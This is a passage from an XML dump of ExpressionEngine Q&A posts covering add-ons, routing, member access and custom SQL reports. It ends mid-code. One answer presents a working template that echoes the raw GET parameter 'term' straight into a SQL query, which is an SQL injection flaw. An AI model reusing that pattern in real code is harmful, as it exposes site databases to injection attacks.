  <row Id="25033" PostTypeId="1" CreationDate="2014-08-12T05:57:11.117" Score="1" ViewCount="45" Body="&lt;p&gt;I am using grid in channel fields and using importer module for uploading CSV file to add/update channel data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But importer module dose not support for grid, then is there a way how can i use importer with grid ?&#xA;Also i am having 5 grid in the channel so i can not use matrix instead of grid now.&lt;/p&gt;&#xA;" OwnerUserId="3376" LastActivityDate="2014-08-12T14:45:29.210" Title="Importer module for uploading CSV in channel entries is not working for grid" Tags="|channel-entries|channel|grid|solspace-importer|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25034" PostTypeId="1" CreationDate="2014-08-12T06:16:18.827" Score="-1" ViewCount="1951" Body="&lt;p&gt;I am creating an application in which I want administrator functionality runs from different controller and it is in controller(backend.php) in administrator folder in controller folder. But when I run url(&lt;a href=&quot;http://mysite.com/administrator/backend/method-name&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/administrator/backend/method-name&lt;/a&gt;) is not open but url(&lt;a href=&quot;http://mysite.com/index.php/administrator/backend/method-name&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/index.php/administrator/backend/method-name&lt;/a&gt;) is working I want to remove index.php from url when I run adminstrator url But currently I have problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3467" LastActivityDate="2017-03-04T08:17:08.513" Title="Call Controller from Folder and remove index.php from url" Tags="|codeigniter|routing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25035" PostTypeId="2" ParentId="25020" CreationDate="2014-08-12T07:20:08.757" Score="1" Body="&lt;p&gt;The method Jamie mentioned will indeed work. You can also try and use &lt;a href=&quot;https://github.com/low/low_author&quot; rel=&quot;nofollow&quot;&gt;Low Author&lt;/a&gt;, which saves the author screen name as a searchable read-only field. Add that field to your entries, and you'll be able to use keywords to search by author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; If you're using Low Search 4+, you can now also use &lt;a href=&quot;https://github.com/low/low_search_members&quot; rel=&quot;nofollow&quot;&gt;the Members filter&lt;/a&gt;. Once installed, use the parameters &lt;code&gt;members:screen_name&lt;/code&gt; (exact matches) or &lt;code&gt;members:search:screen_name&lt;/code&gt; (partial matches) with the same result.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2015-02-19T21:29:54.760" LastActivityDate="2015-02-19T21:29:54.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25036" PostTypeId="2" ParentId="25034" CreationDate="2014-08-12T07:42:51.073" Score="0" Body="&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt;. EE is a CodeIgniter application and overrides the routing to the ee controller. To merge/use a custom application, you have to enable routing again. For to be able to update EE with less hassle, it is probably better to not merge a large app with libraries, helpers and controllers inside the ExpressionEngine directory. You can install/create your app in its own sub-directory, and set APPPATH accordingly.&lt;br&gt;&#xA;- The manual is a good start: Further &lt;a href=&quot;https://ellislab.com/codeigniter/user-guide/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/codeigniter/user-guide/&lt;/a&gt;&lt;br&gt;&#xA;- See also this answer on StackOverflow &lt;a href=&quot;https://stackoverflow.com/questions/6588954/expression-engine-controllers/23924208#23924208&quot;&gt;&lt;em&gt;Expression Engine Controllers&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt;. If you also want to make use of EE functionality (members, backend-layout, etc.), and have a more tight integration in the backend control panel, you can develop an add-on. Extensions are class-methods that are called from certain points in other libraries, to alter data or do their own stuff, Modules are more or less standalone mini-apps inside EE. See the development manual&lt;br&gt;&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-08-12T07:42:51.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25037" PostTypeId="2" ParentId="25013" CreationDate="2014-08-12T09:02:58.687" Score="0" Body="&lt;p&gt;Thanks a lot my friend &quot;Derek Hogue&quot; , I got the result by returning the data like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!empty($entry_id)){&#xA;            //$result = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get_where('exp_channel_titles',array('entry_id' =&amp;gt; $entry_id));&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('*');&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;from('exp_channel_titles');&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('exp_channel_titles.entry_id',$entry_id);&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;join('exp_channel_data','exp_channel_titles.entry_id = exp_channel_data.entry_id');&#xA;            $result = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get();&#xA;            $result_array = $result-&amp;gt;result_array();&#xA;            $data = array();&#xA;            foreach($result_array[0] as $key =&amp;gt; $value){&#xA;                $data[$key] = $value;&#xA;            }&#xA;}&#xA;return $data;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3411" LastActivityDate="2014-08-12T09:02:58.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25041" PostTypeId="1" CreationDate="2014-08-12T11:49:44.310" Score="0" ViewCount="107" Body="&lt;p&gt;We have Facing Problem While MSM two Different primary &amp;amp; secondary Front End Login .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem: We have Created member group for secondary site (site B) members Register SITE B member in that group but When We have same user logged in primary site front end login (Site A) then its logged in successfully and site B member access all SITE A section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;above our Problem , We need to both Site front end login different , it means SITE B member group not access SITE A login after login any section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let me know if you have any idea for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;ZW PD&lt;/p&gt;&#xA;" OwnerUserId="3110" LastActivityDate="2016-06-16T02:13:45.563" Title="MSM multisite Front End login Site B members not access SITE A any section" Tags="|multi-site-manager|freemember|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25043" PostTypeId="2" ParentId="25041" CreationDate="2014-08-12T12:33:05.073" Score="0" Body="&lt;p&gt;In ExpressionEngine MSM member groups are installation wide.&#xA;For restricting SITE B members to access content of SITE A follow steps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1) Create a template/snippet/header&#xA;2) Include this template/snippet/header in every template of SITE A&#xA;3) Check current logged in user member group.&#xA;4) If member group from SITE B then destroy the user session and redirect to home page with message &quot;You are not authorized to access SITE A&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2696" LastActivityDate="2014-08-12T12:33:05.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25044" PostTypeId="2" ParentId="25033" CreationDate="2014-08-12T12:36:23.813" Score="1" Body="&lt;p&gt;Importer module doesn't support GRID fields.&lt;/p&gt;&#xA;" OwnerUserId="2696" LastActivityDate="2014-08-12T12:36:23.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25045" PostTypeId="2" ParentId="24993" CreationDate="2014-08-12T14:09:03.627" Score="0" Body="&lt;p&gt;I actually ended up using Field Pack &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/field-pack&lt;/a&gt;, just installed the Checkboxes field and it offered much more flexibility, achieved what I needed. Here is the updated code:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{destinations:selected option=&quot;hawaii&quot;}'} &#xA;            &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;{term}&amp;lt;/strong&amp;gt; &amp;lt;br /&amp;gt;&amp;lt;a href=&quot;{site_url}voyages/{program_page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="916" LastActivityDate="2014-08-12T14:09:03.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25046" PostTypeId="2" ParentId="25033" CreationDate="2014-08-12T14:45:29.210" Score="0" Body="&lt;p&gt;Looks like you'll either have to switch to Matrix or purchase Datagrab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/datagrab&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally prefer DG or Import. Solspace does offer a 30 Day Money Back Guarantee so I'd return it and purchase DG instead.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-08-12T14:45:29.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25047" PostTypeId="2" ParentId="22023" CreationDate="2014-08-12T14:48:46.033" Score="0" Body="&lt;p&gt;I have approached this by embedding a template to another site as documented here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/sites/code.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/cp/sites/code.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;site_short_name:template_group/template&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have actually done this for embedding entire templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried this approach? How did you copy all of your templates over when you setup the new Site?&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-08-12T14:48:46.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25049" PostTypeId="1" CreationDate="2014-08-12T15:27:00.763" Score="0" ViewCount="62" Body="&lt;p&gt;In the 'member area' I have the ability for a user to delete their own user account, with a confirm password field.&#xA;Still, I would like to add an 'Are you sure?' Checkbox that is required.&#xA;Even better would be to have the user redirected to a confirmation page with an 'Are you sure?' button.&#xA;How would I accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add rules:name_of_checkbox=&quot;required&quot; to {exp:zoo_visitor:delete_form} it does not work.&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2016-05-25T08:56:52.857" Title="Zoo Visitor: confirm delete user account" Tags="|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25050" PostTypeId="1" AcceptedAnswerId="25110" CreationDate="2014-08-12T15:56:12.480" Score="0" ViewCount="66" Body="&lt;p&gt;I recently moved a number of sites to a new host and with that move have begun to have issues with email notification: new member, profile edit, new entry. The curious thing is that the notification issues are limited to domain-specific email accounts. For example, if I put a person from the client organization in the notification list as well as myself, and they have a company email associated with the domain and I include my email, which is not, I will get the notification but they don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone experienced this? If so, what could be the root cause? It is a challenge to take this issue to the hosting provider because they will see it as an Expression Engine problem, which of course they wouldn't support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am open to any and all suggestions for a solution to this.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-08-14T17:11:48.927" Title="Why are email notifications not being delivered?" Tags="|notification|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25051" PostTypeId="2" ParentId="23943" CreationDate="2014-08-12T16:27:52.110" Score="1" Body="&lt;p&gt;My apologies as it turns out this issue wasn't completely related to Super Search. There was also suggestive search results being powered by the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $term = $_GET['term']; ?&amp;gt;&#xA;&#xA;{exp:ifelse parse=&quot;inward&quot;}&#xA;    {if group_id == '20' OR member_id == '79' OR member_id == '9' OR member_id == '113' OR member_id == '129'}&#xA;        [{exp:query sql=&quot;SELECT title, channel_id FROM exp_channel_titles WHERE title LIKE '%&amp;lt;?php echo $term; ?&amp;gt;%' AND channel_id NOT IN (82,80,61,63,51,54,9,39,40,46,56,37,60,66,67,68,69,37,78,93) GROUP BY title ORDER BY title ASC&quot; backspace=&quot;1&quot;}&quot;{title}&quot;,{if no_results}&quot;No Results&quot;{/if}{/exp:query}]&#xA;    {if:else}&#xA;        [{exp:query sql=&quot;SELECT title, channel_id, entry_id FROM exp_channel_titles WHERE title LIKE '%&amp;lt;?php echo $term; ?&amp;gt;%' AND channel_id NOT IN (82,80,61,63,51,54,9,39,40,46,56,37,60,66,67,68,69,37,78,93) AND entry_id NOT IN (2589,2590,2591,2592,3575,3577,4154) GROUP BY title ORDER BY title ASC&quot; backspace=&quot;1&quot;}&quot;{title}&quot;,{if no_results}&quot;No Results&quot;{/if}{/exp:query}]&#xA;    {/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to remove the channels I wanted from these suggestive search phrases I just had to edit the MySQL query adding the channel ID's of the ones I didn't want searched into the NOT IN part of the query. Thanks to Justin and Roman for your tips and to remove channels from the search results (not the suggestive search) they worked perfectly. My apologies for not clarifying my question a little better in regards to the suggested search results.  &lt;/p&gt;&#xA;" OwnerUserId="3279" LastEditorUserId="3279" LastEditDate="2014-09-11T04:11:17.313" LastActivityDate="2014-09-11T04:11:17.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25055" PostTypeId="1" AcceptedAnswerId="25076" CreationDate="2014-08-08T23:18:25.073" Score="0" ViewCount="240" Body="&lt;p&gt;Does anyone know of a way to create a custom success message and post to the expression engine processing controller manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using jQuery validator, and usually what I would do is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   submitHandler: function(form) {&#xA;    var data = $(form).serialize();&#xA;        $.post(&#xA;            '/system/expressionengine/templates/default_site/global.group/form.php',&#xA;            data),&#xA;        function(data){&#xA;                $('#contact-form').html('&amp;lt;div id=&quot;success&quot;&amp;gt;We’ll get back to you.&amp;lt;/div&amp;gt;');&#xA;&#xA;            }&#xA;        );&#xA;    }&#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately with the expression engine {exp:email:contact_form} tags it posts straight to a page and always redirects the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a way to post or properly format the data so that handler will accept the post data and allow a seamless form submission experience?  &lt;/p&gt;&#xA;" OwnerUserId="3477" OwnerDisplayName="jorblume" LastActivityDate="2014-08-13T16:33:40.920" Title="Expressionengine Email Contact Form Tags and Success Messages" Tags="|javascript|php|jquery|forms|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25056" PostTypeId="2" ParentId="25050" CreationDate="2014-08-12T18:34:25.507" Score="0" Body="&lt;p&gt;Postmaster paired with Mandrill is a nice solution for bulletproof email, so you don't have to deal with server issues like this. Not a direct solution to your problem, but, this approach has served me well recently.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-08-12T18:34:25.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25057" PostTypeId="1" CreationDate="2014-08-12T18:38:31.703" Score="0" ViewCount="126" Body="&lt;p&gt;How do I get EE to actually print out the email {apply_email} instead of making a javascript obfuscated email address in the templates? Is there an option I can put on the tag to do this?&lt;/p&gt;&#xA;" OwnerUserId="3471" LastActivityDate="2014-09-12T02:01:29.690" Title="Stop EE from obfuscating email address in template" Tags="|templates|email|encode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25058" PostTypeId="1" CreationDate="2014-08-12T19:00:19.083" Score="-1" ViewCount="125" Body="&lt;p&gt;When I create the blog post, it looks like an image is showing up, but when I publish it, the image doesn't show up. There are other GIFs in the same post that do show up. This is the post &lt;a href=&quot;https://www.wibidata.com/blog/wibi-interns-2014-our-summer-in-gifs&quot; rel=&quot;nofollow&quot;&gt;https://www.wibidata.com/blog/wibi-interns-2014-our-summer-in-gifs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3472" LastActivityDate="2021-03-29T10:02:08.107" Title="GIF not showing up" Tags="|channel-images|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25059" PostTypeId="2" ParentId="25058" CreationDate="2014-08-12T19:36:21.137" Score="1" Body="&lt;p&gt;If the images that do not show up are coming from tumblr, then it's because you are linking to them with http protocol (see your DevTools). Your site seems to enforce SSL, but links to images on tumblr are coming from non-SSL (http protocol).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using them with secure protocol (&lt;code&gt;https&lt;/code&gt;) or without (instead of &lt;code&gt;http://example/url/file.gif&lt;/code&gt; use &lt;code&gt;//example/url/file.gif&lt;/code&gt;);&lt;/p&gt;&#xA;" OwnerUserId="2534" LastEditorUserId="2534" LastEditDate="2014-08-12T20:13:20.563" LastActivityDate="2014-08-12T20:13:20.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25062" PostTypeId="1" AcceptedAnswerId="25072" CreationDate="2014-08-12T21:47:35.397" Score="0" ViewCount="36" Body="&lt;p&gt;I am new to Low search, and happy I got shortcuts working.&#xA;My site is a member site, with memberdata in  a channel (Profile-edit) I want to show only shortcuts to the user that creates them (when they were logged in). Is there a way to filter shortcuts so that users only see their own shortcuts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(And my apologies if I missed this in the docs)&#xA;(edit: I mean shortcuts created in the frontend, not collections)&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2014-08-13T10:28:53.607" LastActivityDate="2014-08-13T12:23:17.713" Title="Show only (Low Search) shortcuts from logged in user" Tags="|low-search|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25063" PostTypeId="1" CreationDate="2014-08-12T22:41:49.530" Score="0" ViewCount="382" Body="&lt;p&gt;I'm trying to install Membrr and OpenGateway on an existing EE site to allow us to accept payments through PayPal for subscriptions to different Member Groups. I'm following the instructions documented by Membrr and OpenGateway here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.membrr.com/docs/installation&quot; rel=&quot;nofollow&quot;&gt;http://www.membrr.com/docs/installation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I'm wondering what license.txt file I should upload as there is no license now that OpenGateway is open source and I didn't pay them or Membrr for one. Does this mean that I should upload an arbitrary license.txt file? I've tried uploading one with filler text and am unsure if this is somehow holding up the install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, I've tried going through the install steps and was unsuccessful in accessing /install directory (step 6 in docs)—browsing to the path only led me to my site's 404 page. Assuming the license.txt file isn't affecting this are there any other ways I could troubleshoot why this isn't working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done all other steps outlined in the installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help!&lt;/p&gt;&#xA;" OwnerUserId="3474" LastActivityDate="2014-08-14T20:50:40.060" Title="How to Install OpenGateway and Membrr" Tags="|membrr|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25064" PostTypeId="2" ParentId="24582" CreationDate="2014-08-12T22:54:01.597" Score="0" Body="&lt;p&gt;I have been in contact with MightyBigRobot, and they confirmed that this is a bug and they are working on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a temporary workaround I built a SQL query and embedded it into a custom report template. that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Product Totals for the Past 7 Days&amp;lt;/h1&amp;gt;&#xA;&#xA;&#xA;&amp;lt;table class=&quot;mainTable padTable&quot;&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;Product&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;Total Sold&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;Current Inventory&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;Unit&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;Need&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&#xA;{exp:query sql=&quot;&#xA;SELECT SUM(`exp_cartthrob_order_items`.`quantity`) AS total_quantity, `exp_cartthrob_order_items`.*,  exp_channel_titles.entry_date, FROM_UNIXTIME(exp_channel_titles.entry_date) AS MYDATE, exp_channel_titles.status,&#xA;exp_channel_data.entry_id as product_id, exp_channel_data.field_id_72 AS unit, exp_channel_data.field_id_78 AS unit_numerical, exp_channel_data.field_id_7 AS inventory,&#xA;(SUM(`exp_cartthrob_order_items`.`quantity`)* exp_channel_data.field_id_78) as need&#xA;FROM (`exp_cartthrob_order_items`, `exp_channel_titles` AS ct, `exp_channel_data`)&#xA;JOIN `exp_channel_titles` ON `exp_channel_titles`.`entry_id` = `exp_cartthrob_order_items`.`order_id`&#xA;WHERE ct.entry_id = exp_cartthrob_order_items.entry_id&#xA;AND exp_channel_titles.entry_date &amp;gt;= UNIX_TIMESTAMP(CURRENT_DATE - INTERVAL 7 DAY)&#xA;AND exp_channel_titles.entry_date  &amp;lt; UNIX_TIMESTAMP(CURRENT_DATE + INTERVAL 1 DAY)&#xA;AND `exp_channel_titles`.`status` =  'open'&#xA;AND exp_channel_data.entry_id = exp_cartthrob_order_items.`entry_id`&#xA;GROUP BY `exp_cartthrob_order_items`.`entry_id`, `exp_cartthrob_order_items`.`price`&#xA;ORDER BY `total_quantity` DESC&#xA;&quot;}&#xA;&#xA;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt;{count}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{title}   {exp:basee64:decode}{extra}{/exp:basee64:decode}   &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{total_quantity} &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{inventory}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{if unit==&quot;kg&quot;}{unit_numerical}/{/if}{unit}&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;{need} {if unit==&quot;kg&quot;}kg{/if}&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2014-08-12T22:54:01.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25065" PostTypeId="2" ParentId="25057" CreationDate="2014-08-12T23:17:51.563" Score="1" Body="&lt;p&gt;There is a Channel preference setting to &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_edit_preferences.html#automatically-turn-urls-and-email-addresses-into-links&quot; rel=&quot;nofollow&quot;&gt;automatically turn URLs and email addresses into links&lt;/a&gt; than when enabled does some auto-typography to create links. Disabled, it will leave your naked email addresses and URLs in content fields alone.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-08-12T23:17:51.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25066" PostTypeId="1" CreationDate="2014-08-12T23:57:12.970" Score="0" ViewCount="178" Body="&lt;p&gt;When I try to import a google generated .ics file I get the following error and no events are imported:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An Error Was Encountered&#xA;You are not authorized to access this page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The url I am using is:&#xA;&lt;a href=&quot;http://www.google.com/calendar/ical/sp9rt0e3ikdfelf06mckpfjmhs@group.calendar.google.com/public/basic.ics&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/calendar/ical/sp9rt0e3ikdfelf06mckpfjmhs@group.calendar.google.com/public/basic.ics&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely, if I use this one, I still get the error, but events are imported:&#xA;&lt;a href=&quot;https://www.google.com/calendar/ical/canadian__en@holiday.calendar.google.com/public/basic.ics&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/calendar/ical/canadian__en@holiday.calendar.google.com/public/basic.ics&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2014-08-12T23:57:12.970" Title="Error on .ics file import" Tags="|solspace-calendar|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="25068" PostTypeId="2" ParentId="9082" CreationDate="2014-08-13T02:15:05.497" Score="0" Body="&lt;p&gt;There is now a Enable Dynamic Prices option for the field that should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See see &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/19657/how-to-collect-payment-of-invoice-with-expresso-store/19716#19716&quot;&gt;this post&lt;/a&gt; for some help.&lt;/p&gt;&#xA;" OwnerUserId="1332" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-08-13T02:15:05.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25070" PostTypeId="1" CreationDate="2014-08-13T10:20:52.040" Score="0" ViewCount="54" Body="&lt;p&gt;Is there a setting somewhere to hide certain forms from certain members when they are logged into the CMS. The reason being is that, as with managing other sections/channels in Expression Engine, we need to limit member to edit only a one of the forms we have added eg. All forms are Marketing Request, Sales Request, General Enquiry but we what to have the Marketing Member Group to only have access to the Marketing Request form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;C&lt;/p&gt;&#xA;" OwnerUserId="3475" LastActivityDate="2014-12-04T04:54:32.643" Title="Freeform limit form access to certain member groups in CMS" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25071" PostTypeId="2" ParentId="25062" CreationDate="2014-08-13T12:03:57.880" Score="0" Body="&lt;p&gt;Sorry, per-member shortcuts aren't possible with Low Search at the moment. They are global.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-08-13T12:03:57.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25072" PostTypeId="2" ParentId="25062" CreationDate="2014-08-13T12:23:17.713" Score="0" Body="&lt;p&gt;Thanks a lot Low, for you reaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime I found a 'dirty' solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a channel (called shortcut), and a form on the result page. URL as hidden field, the title of the entree in the channel 'shortcut'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I can call these entrees made by AUTHOR and link them to the result page.&#xA;For the ones interested, this my (simple) code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On result page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- formfields shortcut           --&amp;gt;&#xA;{exp:channel:form channel=&quot;shortcut&quot; return=&quot;zoek/opdrachten&quot; entry_id=&quot;{segment_5}&quot;}&#xA;    {if segment_4 == &quot;&quot;}  &#xA;    &amp;lt;div class=&quot;forms&quot; id=&quot;myform&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;url_title&quot; id=&quot;url_title&quot; value=&quot;{url_title}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_date&quot; id=&quot;entry_date&quot; value=&quot;{entry_date}&quot;&amp;gt;   &#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{segment_3}&quot; onkeyup=&quot;liveUrlTitle();&quot;&amp;gt;&#xA;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;legend&amp;gt;CV&amp;lt;/legend&amp;gt;&#xA;            &amp;lt;label&amp;gt;Bewaar deze selectie&amp;lt;span class=&quot;forms-desc&quot;&amp;gt;Geef een beschrijving van deze zoekopdracht&amp;lt;/span&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {field:shortcut_beschrijving}&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- end control --&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot; &amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; value=&quot;Voeg toe&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;  &#xA;        &amp;lt;/fieldset&amp;gt;&amp;lt;br&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:form}&#xA;&amp;lt;!-- /formfields shortcut           --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the shortcut list page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;shortcut&quot;&#xA;    author_id=&quot;CURRENT_USER&quot;&#xA;   